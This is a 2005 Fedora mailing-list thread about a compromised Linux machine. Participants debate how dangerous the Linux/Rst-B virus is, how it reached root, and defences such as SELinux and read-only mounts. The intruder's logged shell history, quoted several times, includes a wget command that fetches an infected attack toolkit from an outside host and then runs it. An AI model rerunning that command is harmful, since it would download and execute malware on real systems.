Were there any interesting files in the users' home directories? (Look for hidden files too, of course -- maybe a hidden directory named ... or something.) Also check in /tmp and /var. And any luck with the .bash_history? (For both the users and for root....)
This is ~daikanyama/.bash_history passwd ls w wget www.ring.as.ro/x/qwe.tgz tar zxvf qwe.tgz rm -rf qwe.tgz cd .undernet ./mech ./mech ./mech ./mech
There is a complex directory tree under ~daikanyama/.undernet
There are no interesting files under ~kevin. Kevin had tcsh as login shell. Using ps aux, I have seen that kevin used ftp, and kevin also used passwd.
One of the users compiled something, I have seen that they utilized "make". Kevin installed some program psybnc under /var/tmp
There is nothing interesting in /tmp and /root (root has tcsh as login shell).
Daniel Kirsten wrote:
wget www.ring.as.ro/x/qwe.tgz
This is what Symantec thinks of the content of the file: http://securityresponse.symantec.com/avcenter/venc/data/linux.rst.b.html
/Håkan
On 4/27/05, Håkan Persson hakan@zyberit.com wrote:
Daniel Kirsten wrote:
wget www.ring.as.ro/x/qwe.tgz
This is what Symantec thinks of the content of the file: http://securityresponse.symantec.com/avcenter/venc/data/linux.rst.b.html
/Håkan
Well, so much for the "do not wory about viruses in Linux machines" stories...
On Wed, Apr 27, 2005 at 09:34:01AM -0500, Gustavo Seabra wrote:
wget www.ring.as.ro/x/qwe.tgz
This is what Symantec thinks of the content of the file: http://securityresponse.symantec.com/avcenter/venc/data/linux.rst.b.html
Well, so much for the "do not wory about viruses in Linux machines" stories...
Cute. This is the only way I've seen Linux viruses spread (and I've seen it before): they're infecting the precompiled binaries in toolkits used by script kiddies. Oh, the irony.
Daniel -- did you happen to run any of the commands in the compromised user account as root?
Gustavo Seabra wrote:
On 4/27/05, Håkan Persson hakan@zyberit.com wrote:
Daniel Kirsten wrote:
wget www.ring.as.ro/x/qwe.tgz
This is what Symantec thinks of the content of the file: http://securityresponse.symantec.com/avcenter/venc/data/linux.rst.b.html
/Håkan
Well, so much for the "do not wory about viruses in Linux machines" stories...
Number of infections 0-49, number of sites 0-2 - over 3 years. Wow, it's speading like wildfire... help, help!
It has no escalation mechanism, so can only infect ELF files to which the user infected has write permission.
Threat ~0.
On Wed, Apr 27, 2005 at 03:50:57PM +0100, Nigel Wade wrote:
Number of infections 0-49, number of sites 0-2 - over 3 years. Wow, it's speading like wildfire... help, help! It has no escalation mechanism, so can only infect ELF files to which the user infected has write permission. Threat ~0.
Looks like it spread to root from a user account in this case. Threat is obviously somewhat greater than 0. Caution and good practices are still required.
Matthew Miller wrote:
On Wed, Apr 27, 2005 at 03:50:57PM +0100, Nigel Wade wrote:
Number of infections 0-49, number of sites 0-2 - over 3 years. Wow, it's speading like wildfire... help, help! It has no escalation mechanism, so can only infect ELF files to which the user infected has write permission. Threat ~0.
Looks like it spread to root from a user account in this case. Threat is obviously somewhat greater than 0. Caution and good practices are still required.
There's no evidence that the virus escalated its own privilege. More likely that a root process executed an infected binary.
Moral of the story - don't execute binaries installed during a break-in just to see what they do, especially when logged in as root - and don't have "." in root's path!
On Wed, Apr 27, 2005 at 05:21:45PM +0100, Nigel Wade wrote:
Looks like it spread to root from a user account in this case. Threat is obviously somewhat greater than 0. Caution and good practices are still required.
There's no evidence that the virus escalated its own privilege. More likely that a root process executed an infected binary.
I agree -- and that's exactly why this shouldn't be dismissed as "0 threat".
Matthew Miller wrote:
On Wed, Apr 27, 2005 at 05:21:45PM +0100, Nigel Wade wrote:
Looks like it spread to root from a user account in this case. Threat is obviously somewhat greater than 0. Caution and good practices are still required.
There's no evidence that the virus escalated its own privilege. More likely that a root process executed an infected binary.
I agree -- and that's exactly why this shouldn't be dismissed as "0 threat".
I didn't say 0, I said ~0. You also shouldn't overstate the threat and create FUD where none is justified.
For a virus to be viable it has to be communicable. In this instance the virus required manual "injection". Hence the 0-49 infections in 3 years, and the virutally zero threat.
On Thu, Apr 28, 2005 at 09:41:17AM +0100, Nigel Wade wrote:
For a virus to be viable it has to be communicable. In this instance the virus required manual "injection". Hence the 0-49 infections in 3 years, and the virutally zero threat.
But it wasn't quite manual -- happened through sloppy practices. This is somewhat akin to saying that STDs are ~0 threat -- true, but only if you follow safe procedures. :)
Where are you getting your "0-49" number from?
Matthew Miller wrote:
On Thu, Apr 28, 2005 at 09:41:17AM +0100, Nigel Wade wrote:
For a virus to be viable it has to be communicable. In this instance the virus required manual "injection". Hence the 0-49 infections in 3 years, and the virutally zero threat.
But it wasn't quite manual -- happened through sloppy practices.
So it's on the same threat level as a bash script that does "rm -f /*". If you can get someone to run an executable as root, then you can do just about anything you want. The only exception would be if they did a good job with SELinux, but if they did a good job with SELinux they wouldn't be running unknown executables as root.
On Thu, Apr 28, 2005 at 09:11:18AM -0400, William Hooper wrote:
So it's on the same threat level as a bash script that does "rm -f /*".
Oh come on. It's somewhat worse than that, since its effects aren't immediately obvious. If the original poster had done that, he would have realized immediately that Something Bad had happened. In this thread though, it was actually a virus scanner that told us -- the original poster realized something was wrong because the virus happens to have some flaws (maybe exec-shield is offering protection here) and caused some infected programs to fail, but didn't know what.
This particular virus is basically a proof-of-concept -- it's not a stretch of the imagination at all to see that there could easily be ones which are more clever at hiding themselves. And I guarantee that as Linux becomes more popular, there *will* be more, *even* without a better means to spread than running in userspace and hoping for a shot at root access.
If you can get someone to run an executable as root, then you can do just about anything you want. The only exception would be if they did a good job with SELinux, but if they did a good job with SELinux they wouldn't be running unknown executables as root.
As Linux becomes more popular, there will be more and more 'inexperienced sysadmins' -- that is, people who heard that Linux was better than Windows and just want it to go on their system. Unless we start teaching good sysadmin practices in grade school (which I'm all for, honestly), this issue is going to become more and more of a problem. Education is part of the solution, and technical measures like SELinux and better end-user-targetted config tools definitely are too. But saying that this is just PBCAK and dismissing it as not a real threat is just burying our heads in the sand.
Matthew Miller wrote: [snip]
If you can get someone to run an executable as root, then you can do just about anything you want. The only exception would be if they did a good job with SELinux, but if they did a good job with SELinux they wouldn't be running unknown executables as root.
As Linux becomes more popular, there will be more and more 'inexperienced sysadmins' -- that is, people who heard that Linux was better than Windows and just want it to go on their system. Unless we start teaching good sysadmin practices in grade school (which I'm all for, honestly), this issue is going to become more and more of a problem. Education is part of the solution, and technical measures like SELinux and better end-user-targetted config tools definitely are too. But saying that this is just PBCAK and dismissing it as not a real threat is just burying our heads in the sand.
Running untrusted executables as root is a PBCAK. Period. I don't care what OS you are running, be it Linux or BSD or WinXP.
In this context, the reason that Linux is "better than Windows" is because it was designed from the ground up to do day to day tasks with a non-root user. Anyone that circumvents this (Linspire anyone?) is asking for the same trouble that a Windows system always running as root has.
I have no more problem dismissing this "virus" than I have dismissing a person that shoots themselves cleaning a loaded gun. I don't blame the OS any more than I would blame the gun.
-- William Hooper
On Thu, Apr 28, 2005 at 10:06:26AM -0400, William Hooper wrote:
Running untrusted executables as root is a PBCAK. Period. I don't care what OS you are running, be it Linux or BSD or WinXP. In this context, the reason that Linux is "better than Windows" is because it was designed from the ground up to do day to day tasks with a non-root user. Anyone that circumvents this (Linspire anyone?) is asking for the same trouble that a Windows system always running as root has.
I think we're basically in agreement. However, I'm afraid that simple dismissive statements like the "~0" one I responded to are part of the problem. It has the risk of leaving the wrong impression, and leading to the sort of fuzzy thinking that brings us Linspire's run-as-root model.
Matthew Miller wrote:
On Thu, Apr 28, 2005 at 10:06:26AM -0400, William Hooper wrote:
Running untrusted executables as root is a PBCAK. Period. I don't care what OS you are running, be it Linux or BSD or WinXP. In this context, the reason that Linux is "better than Windows" is because it was designed from the ground up to do day to day tasks with a non-root user. Anyone that circumvents this (Linspire anyone?) is asking for the same trouble that a Windows system always running as root has.
I think we're basically in agreement. However, I'm afraid that simple dismissive statements like the "~0" one I responded to are part of the problem. It has the risk of leaving the wrong impression, and leading to the sort of fuzzy thinking that brings us Linspire's run-as-root model.
My statement was in no way dismissive, it was my assessment of the risk posed by this particular virus. What doesn't help is people getting all worked up and panicing about something which a very, very minor threat.
Matthew Miller wrote:
On Thu, Apr 28, 2005 at 09:41:17AM +0100, Nigel Wade wrote:
For a virus to be viable it has to be communicable. In this instance the virus required manual "injection". Hence the 0-49 infections in 3 years, and the virutally zero threat.
But it wasn't quite manual -- happened through sloppy practices. This is somewhat akin to saying that STDs are ~0 threat -- true, but only if you follow safe procedures. :)
It was completely manual, the virus didn't install itself. It was injected by someone breaking in via ssh and then manually downloading an infected file. It's not like a STD, it's like a virus which can only be spread by direct injection.
Where are you getting your "0-49" number from?
That's the number of infections quoted by Symantec.
On Fri, Apr 29, 2005 at 11:57:24AM +0100, Nigel Wade wrote:
It was completely manual, the virus didn't install itself. It was injected by someone breaking in via ssh and then manually downloading an infected file. It's not like a STD, it's like a virus which can only be spread by direct injection.
That's the difference between a virus and a worm. It *does* have a mechanism to spread between files on a machine, but doesn't have one to go between machines without piggybacking on something else. (Which it did.)
Where are you getting your "0-49" number from?
That's the number of infections quoted by Symantec.
Okay. Well, given that this is the second one in the wild I've seen, my guess is that it's significantly higher than their guess. It's still not widespread, but it'd be quite the freak of statistics if two of those 50 worldwide were cases I saw.
Matthew Miller wrote:
On Fri, Apr 29, 2005 at 11:57:24AM +0100, Nigel Wade wrote:
It was completely manual, the virus didn't install itself. It was injected by someone breaking in via ssh and then manually downloading an infected file. It's not like a STD, it's like a virus which can only be spread by direct injection.
That's the difference between a virus and a worm. It *does* have a mechanism to spread between files on a machine, but doesn't have one to go between machines without piggybacking on something else. (Which it did.)
For a virus to be viable it has to be able to infect files in such a way that those infected files are likely to spread the virus. This one doesn't. It needs to be spread manually, hence my threat rating of ~0.
On Fri, Apr 29, 2005 at 02:08:15PM +0100, Nigel Wade wrote:
It was completely manual, the virus didn't install itself. It was injected by someone breaking in via ssh and then manually downloading an infected file. It's not like a STD, it's like a virus which can only be spread by direct injection.
That's the difference between a virus and a worm. It *does* have a mechanism to spread between files on a machine, but doesn't have one to go between machines without piggybacking on something else. (Which it did.)
For a virus to be viable it has to be able to infect files in such a way that those infected files are likely to spread the virus. This one doesn't. It needs to be spread manually, hence my threat rating of ~0.
You're using the word "manually" in a strange way, and differently from the way you did in the paragraph above. In this case, it didn't spread manually (in the normal sense of the word) from the infected mech binary to the binaries in /bin -- it did that on its own when it got a chance.
Matthew Miller wrote:
On Fri, Apr 29, 2005 at 02:08:15PM +0100, Nigel Wade wrote:
It was completely manual, the virus didn't install itself. It was injected by someone breaking in via ssh and then manually downloading an infected file. It's not like a STD, it's like a virus which can only be spread by direct injection.
That's the difference between a virus and a worm. It *does* have a mechanism to spread between files on a machine, but doesn't have one to go between machines without piggybacking on something else. (Which it did.)
For a virus to be viable it has to be able to infect files in such a way that those infected files are likely to spread the virus. This one doesn't. It needs to be spread manually, hence my threat rating of ~0.
You're using the word "manually" in a strange way, and differently from the way you did in the paragraph above. In this case, it didn't spread manually (in the normal sense of the word) from the infected mech binary to the binaries in /bin -- it did that on its own when it got a chance.
I'm not using it differently. In both cases I am considering spreading from one system to another. This was done manually.
To infect the /bin binaries it required a user with root privilege to do so. Most Windows viruses would have very limited threat capability if users would stop running them with administrator rights.
On Fri, Apr 29, 2005 at 03:01:44PM +0100, Nigel Wade wrote:
You're using the word "manually" in a strange way, and differently from the way you did in the paragraph above. In this case, it didn't spread manually (in the normal sense of the word) from the infected mech binary to the binaries in /bin -- it did that on its own when it got a chance.
I'm not using it differently. In both cases I am considering spreading from one system to another. This was done manually.
Like I said, this is by definition the difference between a virus and a worm. But once on a system, viruses (including this one) *do* have mechanisms to spread automatically.
To infect the /bin binaries it required a user with root privilege to do so. Most Windows viruses would have very limited threat capability if users would stop running them with administrator rights.
Yep -- and *if* people follow good practices on any OS (assuming the OS lets them do so in practice), viruses are a limited threat overall. But even that limited threat is a real threat that shouldn't be ignored -- *and* we need to do better to make it easier for non-technical users to follow best practices and still get work done.
On Wed, 2005-04-27 at 15:50 +0100, Nigel Wade wrote:
Gustavo Seabra wrote:
On 4/27/05, Håkan Persson hakan@zyberit.com wrote:
Daniel Kirsten wrote:
wget www.ring.as.ro/x/qwe.tgz
This is what Symantec thinks of the content of the file: http://securityresponse.symantec.com/avcenter/venc/data/linux.rst.b.html
/Håkan
Well, so much for the "do not wory about viruses in Linux machines" stories...
Number of infections 0-49, number of sites 0-2 - over 3 years. Wow, it's speading like wildfire... help, help!
It has no escalation mechanism, so can only infect ELF files to which the user infected has write permission.
Threat ~0.
not true. it also infects files in /bin as stated by symantic and as stated by Daniel. Thus it has some method of getting root privileges.
On Wed, Apr 27, 2005 at 05:22:07PM -0500, Jeff Vian wrote:
it also infects files in /bin as stated by symantic and as stated by Daniel. Thus it has some method of getting root privileges.
Nah, it just *tries* to infect files in /bin, and does if it happens to have write privileges. Therefore: don't run as root, and only run trusted programs with root privileges.
Matthew Miller wrote:
On Wed, Apr 27, 2005 at 05:22:07PM -0500, Jeff Vian wrote:
it also infects files in /bin as stated by symantic and as stated by Daniel. Thus it has some method of getting root privileges.
Nah, it just *tries* to infect files in /bin, and does if it happens to have write privileges. Therefore: don't run as root, and only run trusted programs with root privileges.
what virus scan /firewire options are avalible with Fedora core 3 ? im a newbie (hi everyone) and just wanted to know what security options it has :-) thanks.
On Wednesday 27 April 2005 07:13 pm, Kenneth Geddings Jr. wrote:
Matthew Miller wrote:
On Wed, Apr 27, 2005 at 05:22:07PM -0500, Jeff Vian wrote:
it also infects files in /bin as stated by symantic and as stated by Daniel. Thus it has some method of getting root privileges.
Nah, it just *tries* to infect files in /bin, and does if it happens to have write privileges. Therefore: don't run as root, and only run trusted programs with root privileges.
what virus scan /firewire options are avalible with Fedora core 3 ? im a newbie (hi everyone) and just wanted to know what security options it has :-) thanks.
The programs clamscan and chkrootkit come as standard packages in fedora. The firewall iptables is part of the standard installation setup.
Jeff Vian wrote: [snip]
It has no escalation mechanism, so can only infect ELF files to which the user infected has write permission.
Threat ~0.
not true. it also infects files in /bin as stated by symantic and as stated by Daniel. Thus it has some method of getting root privileges.
Inexperienced sysadmins.
Daniel Kirsten wrote: "Yesterday, I examined the directory ~daikanyama/.undernet and probably I executed mech as root. The file mech is indeed infected by Linux/Rst-B. This explains everything......."
On Wed, Apr 27, 2005 at 08:52:43PM -0400, William Hooper wrote:
Inexperienced sysadmins.
Sure. That is, "regular users of their own machines".
Matthew Miller wrote:
On Wed, Apr 27, 2005 at 08:52:43PM -0400, William Hooper wrote:
Inexperienced sysadmins.
Sure. That is, "regular users of their own machines".
Nice job of completely quoting out of context, and completely missing the point.
On Thu, Apr 28, 2005 at 08:56:00AM -0400, William Hooper wrote:
Inexperienced sysadmins.
Sure. That is, "regular users of their own machines".
Nice job of completely quoting out of context, and completely missing the point.
I'm sorry -- I thought that *was* the point. Seriously, what more context does one need here?
Matthew Miller wrote:
On Thu, Apr 28, 2005 at 08:56:00AM -0400, William Hooper wrote:
Inexperienced sysadmins.
Sure. That is, "regular users of their own machines".
Nice job of completely quoting out of context, and completely missing the point.
I'm sorry -- I thought that *was* the point. Seriously, what more context does one need here?
Well, the question asked would be nice: "Thus it has some method of getting root privileges."
The response: "Inexperienced sysadmins."
The quote showing that was the case: "Daniel Kirsten wrote: 'Yesterday, I examined the directory ~daikanyama/.undernet and probably I executed mech as root. The file mech is indeed infected by Linux/Rst-B. This explains everything.......'
So the "method of getting root privileges" is "regular users of their own machines" running random executables (like the ones downloaded by a script kiddie) as root.
I'm interested in hearing how you would like to close this vulnerability.
-- William Hooper
William Hooper wrote:
Well, the question asked would be nice: "Thus it has some method of getting root privileges."
The response: "Inexperienced sysadmins."
The quote showing that was the case: "Daniel Kirsten wrote: 'Yesterday, I examined the directory ~daikanyama/.undernet and probably I executed mech as root. The file mech is indeed infected by Linux/Rst-B. This explains everything.......'
So the "method of getting root privileges" is "regular users of their own machines" running random executables (like the ones downloaded by a script kiddie) as root.
I'm interested in hearing how you would like to close this vulnerability.
-- William Hooper
I should probably keep quiet, but I don't really mind looking like a fool.
I'm an "inexperienced sysadmin" for my Linux boxes, and I have destroyed a few by doing stupid things, like running an untested script (that I wrote) as root that deleted all the file in /etc.
What I'd really like is for system files to be mounted read only. Maybe by having a hardware switch that makes the system disk read only. Booting from a DVD that contained everything except /var, /tmp, and /home would be another alternative. This of course requires that everyone cleans up their code to only update files in /var, instead of writing in /etc.
I'm sure some smart people have already worked out the details for a system like this. Anyone aware of this kind of work? I'd be interested in seeing it.
Thanks,
John Wendel
William Hooper wrote:
Well, the question asked would be nice: "Thus it has some method of getting root privileges."
The response: "Inexperienced sysadmins."
The quote showing that was the case: "Daniel Kirsten wrote: 'Yesterday, I examined the directory ~daikanyama/.undernet and probably I executed mech as root. The file mech is indeed infected by Linux/Rst-B. This explains everything.......'
So the "method of getting root privileges" is "regular users of their own machines" running random executables (like the ones downloaded by a script kiddie) as root.
I'm interested in hearing how you would like to close this vulnerability.
-- William Hooper
I should probably keep quiet, but I don't really mind looking like a fool.
I'm an "inexperienced sysadmin" for my Linux boxes, and I have destroyed a few by doing stupid things, like running an untested script (that I wrote) as root that deleted all the file in /etc.
What I'd really like is for system files to be mounted read only. Maybe by having a hardware switch that makes the system disk read only. Booting from a DVD that contained everything except /var, /tmp, and /home would be another alternative. This of course requires that everyone cleans up their code to only update files in /var, instead of writing in /etc.
I'm sure some smart people have already worked out the details for a system like this. Anyone aware of this kind of work? I'd be interested in seeing it.
Cheers, Terry.
Thanks,
John Wendel
-- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list
John Wendel wrote: [snip]
What I'd really like is for system files to be mounted read only. Maybe by having a hardware switch that makes the system disk read only. Booting from a DVD that contained everything except /var, /tmp, and /home would be another alternative. This of course requires that everyone cleans up their code to only update files in /var, instead of writing in /etc.
Most code does. /etc is for configuration files, so you would only have to remount it read-write to configure things. You would also have to remount to do any kind of software installs/updates.
I'm sure some smart people have already worked out the details for a system like this. Anyone aware of this kind of work? I'd be interested in seeing it.
Just about all the "thin client" models use it.
On Thu, 2005-28-04 at 10:38 -0700, John Wendel wrote:
William Hooper wrote:
Well, the question asked would be nice: "Thus it has some method of getting root privileges."
The response: "Inexperienced sysadmins."
The quote showing that was the case: "Daniel Kirsten wrote: 'Yesterday, I examined the directory ~daikanyama/.undernet and probably I executed mech as root. The file mech is indeed infected by Linux/Rst-B. This explains everything.......'
So the "method of getting root privileges" is "regular users of their own machines" running random executables (like the ones downloaded by a script kiddie) as root.
I'm interested in hearing how you would like to close this vulnerability.
-- William Hooper
I should probably keep quiet, but I don't really mind looking like a fool.
I'm an "inexperienced sysadmin" for my Linux boxes, and I have destroyed a few by doing stupid things, like running an untested script (that I wrote) as root that deleted all the file in /etc.
What I'd really like is for system files to be mounted read only. Maybe by having a hardware switch that makes the system disk read only. Booting from a DVD that contained everything except /var, /tmp, and /home would be another alternative. This of course requires that everyone cleans up their code to only update files in /var, instead of writing in /etc.
There are a number of thing an experienced administrator can do to alleviate these problems. Unfortunately many of the people who are using or want to use Linux are not experienced administrators. There are a number of options that can be used to mount partitions with more strict permissions, but in order for that to work, more directories need to be mounted in separate partitions. There is not a lot of consensus on how to define what partitions should be created or how big they need to be or with what permissions they should have, so administrators tend to customize each machine for the situation in which it will be used.
A long, long time ago Redhat decided how it was going to arrange the locations of system files and add on packages. I seem to recall questioning some of the file locations back around 3 or 4 but decided to just live with Redhats file locations. Unfortunately I am not alone in questioning some of the file locations. If files were placed in locations more consistent with old school hierarchal system used by most BSD systems and a few Linux distributions, it would be easier to protect the base system binaries and configuration files.
SELinux has a lot of promise in alleviating the file location issues. SELinux is supposed to be able to properly secure a system without having to create a bunch of partitions with different mounting options. It should allow a more general file system structure that is not dependant on the situation in which the machine will be used, as is created by the current default install.
I'm sure some smart people have already worked out the details for a system like this. Anyone aware of this kind of work? I'd be interested in seeing it.
Thanks,
John Wendel
John Wendel wrote:
I should probably keep quiet, but I don't really mind looking like a fool.
I'm an "inexperienced sysadmin" for my Linux boxes, and I have destroyed a few by doing stupid things, like running an untested script (that I wrote) as root that deleted all the file in /etc.
A sanity check in the script to create the rescue cd is there because I reported that it wiped out my mirror (mounted rw via nfs).
Since then I mount nfs stuff ro unless I need to write to it:-)
What I'd really like is for system files to be mounted read only. Maybe by having a hardware switch that makes the system disk read only.
How many peecees have two or more disks? How many users would be prepared to "waste" most of a 120 gigglebite disk?
You _can_ mount /usr ro, and clearly from the number of live CDs around you can get a ro / as well.
Booting from a DVD that contained everything except /var, /tmp, and /home would be another alternative. This of course requires that everyone cleans up their code to only update files in /var, instead of writing in /etc.
/etc should be fine. At worst, copy it to a ram disk - then system config changes will be volatile. You can also fetch the "'-real contents from another location - some firewall/router packages do this.
I'm sure some smart people have already worked out the details for a system like this. Anyone aware of this kind of work? I'd be interested in seeing it.
Some Firewall packages such as iptcop and devil-linux boot and run from CD. Knoppix (a desktop system based on Debian) also does this.
On Thu, Apr 28, 2005 at 09:29:22AM -0400, William Hooper wrote:
I'm sorry -- I thought that *was* the point. Seriously, what more context does one need here?
Well, the question asked would be nice: "Thus it has some method of getting root privileges." The response: "Inexperienced sysadmins."
Okay. Sure. That is, "regular users of their own machines". :)
So it turns out I didn't miss the point at all.
So the "method of getting root privileges" is "regular users of their own machines" running random executables (like the ones downloaded by a script kiddie) as root.
I'm interested in hearing how you would like to close this vulnerability.
In this case, some simple "don't do that" would have helped. But in the case of the sort of tricks that work on Windows users ("But the e-mail came from my friend!" "I wanted to see the funny animation it said was in there!") can work on Linux users too. We need to *address* that, not just say "this is approximately zero threat". Obviously education is part of it. A more sophisticated SE Linux could be another.
For this particular situation, something like ClamAV + Dazuko would have helped. Obviously this wouldn't address the 'rm -rf /" problem, but it *can* help with a lot of malware.
Matthew Miller wrote: [snip]
So the "method of getting root privileges" is "regular users of their own machines" running random executables (like the ones downloaded by a script kiddie) as root.
I'm interested in hearing how you would like to close this vulnerability.
In this case, some simple "don't do that" would have helped. But in the case of the sort of tricks that work on Windows users ("But the e-mail came from my friend!" "I wanted to see the funny animation it said was in there!") can work on Linux users too.
Only if you read your e-mail as root, which there is no reason to do.
We need to *address* that, not just say "this is approximately zero threat". Obviously education is part of it. A more sophisticated SE Linux could be another.
A more sophisticated SELinux would require a more sophisticated user to administer it. Catch-22.
On Thu, Apr 28, 2005 at 02:08:53PM -0400, William Hooper wrote:
In this case, some simple "don't do that" would have helped. But in the case of the sort of tricks that work on Windows users ("But the e-mail came from my friend!" "I wanted to see the funny animation it said was in there!") can work on Linux users too.
Only if you read your e-mail as root, which there is no reason to do.
I wasn't even thinking about that. I *was* thinking about this: the program pops up a window which explains in an impressive way about how it needs root access in order to optimally present video blah blah blah, or do some other serious-sounding task, and actually asks for the root password. Maybe it says "I need to install onto your system", and the user is *used* to giving the root password for that to run system-config-packages.
Or, it changes the Gnome menu, so that when the user goes to run one of the system-config programs and is prompted for the root password, the root password is intercepted and silently used to compromise root (and on success, the menu put back exactly as it was before).
So, reducing the situations where the typical user ever needs the root password is one thing that can be done.
"Trusted computing" may also help here, since some of those ideas are working at making sure that system prompts really are authentic system prompts.
We need to *address* that, not just say "this is approximately zero threat". Obviously education is part of it. A more sophisticated SE Linux could be another.
A more sophisticated SELinux would require a more sophisticated user to administer it. Catch-22.
Well, *that's* the place where it needs to be more sophisticated. The current SE Linux is basically like assembly-language. It needs to be made more understandable at a higher-level view -- and then more transparent.
Matthew Miller wrote: [snip]
We need to *address* that, not just say "this is approximately zero threat". Obviously education is part of it. A more sophisticated SE Linux could be another.
A more sophisticated SELinux would require a more sophisticated user to administer it. Catch-22.
Well, *that's* the place where it needs to be more sophisticated. The current SE Linux is basically like assembly-language. It needs to be made more understandable at a higher-level view -- and then more transparent.
Somewhere along the line, though, that user must have the ability to change SELinux permissions, and/or have the permissions to change binary files (for example package updates).
SELinux doesn't provide a way to stop and administrator determined to do something unwise. To use your example above (that I snipped), there is no possible way to stop someone from following steps given in a pop up that disable SELinux and install a program. Or give a program the SELinux permissions it needs to do whatever it wants to.
It still boils down to an education issue. Don't allow random things to install on your system. Don't look at SELinux and file permissions as things to be worked around because they get in your way.
Take the example a virus that spreads by using a password-protected zip file, making the user: manually save the file, unzip it (using the password), manually run the executable. Nothing short of education can stop something like that.
-- William Hooper
Matthew Miller wrote:
On Thu, Apr 28, 2005 at 09:29:22AM -0400, William Hooper wrote:
I'm sorry -- I thought that *was* the point. Seriously, what more context does one need here?
Well, the question asked would be nice: "Thus it has some method of getting root privileges." The response: "Inexperienced sysadmins."
Okay. Sure. That is, "regular users of their own machines". :)
So it turns out I didn't miss the point at all.
So the "method of getting root privileges" is "regular users of their own machines" running random executables (like the ones downloaded by a script kiddie) as root.
I'm interested in hearing how you would like to close this vulnerability.
In this case, some simple "don't do that" would have helped. But in the case of the sort of tricks that work on Windows users ("But the e-mail came from my friend!" "I wanted to see the funny animation it said was in there!") can work on Linux users too. We need to *address* that, not just say "this is approximately zero threat". Obviously education is part of it. A more sophisticated SE Linux could be another.
Umm. If my email client runs programs included in email, that's a bug, If it breaks when interpreting HTML or displaying graphics images or playing noises, that's a bug.
I can easily report bugs, and I can easily choose a different email client: I have half-a-dozen or so installed.
I was reading a little while ago about a tbird (scrit execution) bug on Windows. The moz fold fixed it the same day it was reported. The same problem occurs in The Beast's wares. The Beast is thinking about it.
For this particular situation, something like ClamAV + Dazuko would have helped. Obviously this wouldn't address the 'rm -rf /" problem, but it *can* help with a lot of malware.
for "rm -rf /" to work at its best, it needs to be run with root privilege. On my systems, that would remove my files and nobody else's. It would be distressing to me, but the system would be fine.
Matthew Miller wrote:
On Wed, Apr 27, 2005 at 08:52:43PM -0400, William Hooper wrote:
Inexperienced sysadmins.
Sure. That is, "regular users of their own machines".
Surely you don't read your email, surf etc as root?
Mostly, I use sudo to gain root privilege and that requires me to prove I'm me by entering my password.
Gustavo Seabra wrote:
On 4/27/05, Håkan Persson hakan@zyberit.com wrote:
Daniel Kirsten wrote:
wget www.ring.as.ro/x/qwe.tgz
This is what Symantec thinks of the content of the file: http://securityresponse.symantec.com/avcenter/venc/data/linux.rst.b.html
/Håkan
Well, so much for the "do not wory about viruses in Linux machines" stories...
This is not a virus: it does not travel via email or the like. This is a worm, and there are a few of those.
On Wed, 2005-05-04 at 08:58 +0800, John Summerfied wrote:
Gustavo Seabra wrote:
On 4/27/05, Håkan Persson hakan@zyberit.com wrote:
Daniel Kirsten wrote:
wget www.ring.as.ro/x/qwe.tgz
This is what Symantec thinks of the content of the file: http://securityresponse.symantec.com/avcenter/venc/data/linux.rst.b.html
/Håkan
Well, so much for the "do not wory about viruses in Linux machines" stories...
This is not a virus: it does not travel via email or the like. This is a worm, and there are a few of those.
I think you're got those the wrong way around. Worms can propagate without luser intervention, regular viruses can't. Consider for example the entire class of boot sector viruses, which used to be quite common. None of those could work without someone carelessly booting from an infected floppy. Similarly in this case, the virus can't propagate without someone (preferably root) executing an infected file.
Paul.
Paul Howarth wrote:
Well, so much for the "do not wory about viruses in Linux machines" stories...
This is not a virus: it does not travel via email or the like. This is a worm, and there are a few of those.
I think you're got those the wrong way around. Worms can propagate without luser intervention, regular viruses can't. Consider for example the entire class of boot sector viruses, which used to be quite common. None of those could work without someone carelessly booting from an infected floppy. Similarly in this case, the virus can't propagate without someone (preferably root) executing an infected file.
Paul.
Paul I don't see what you said that's inconsistent with what I said. The malware we're discussing arrived without the victim's cooperation.
-
Daniel Kirsten -
Gustavo Seabra -
Guy Fraser -
Håkan Persson -
Jeff Vian -
jludwig -
John Summerfield -
John Wendel -
Kenneth Geddings Jr. -
Matthew Miller -
Nigel Wade -
Paul Howarth -
Terry Horsnell -
William Hooper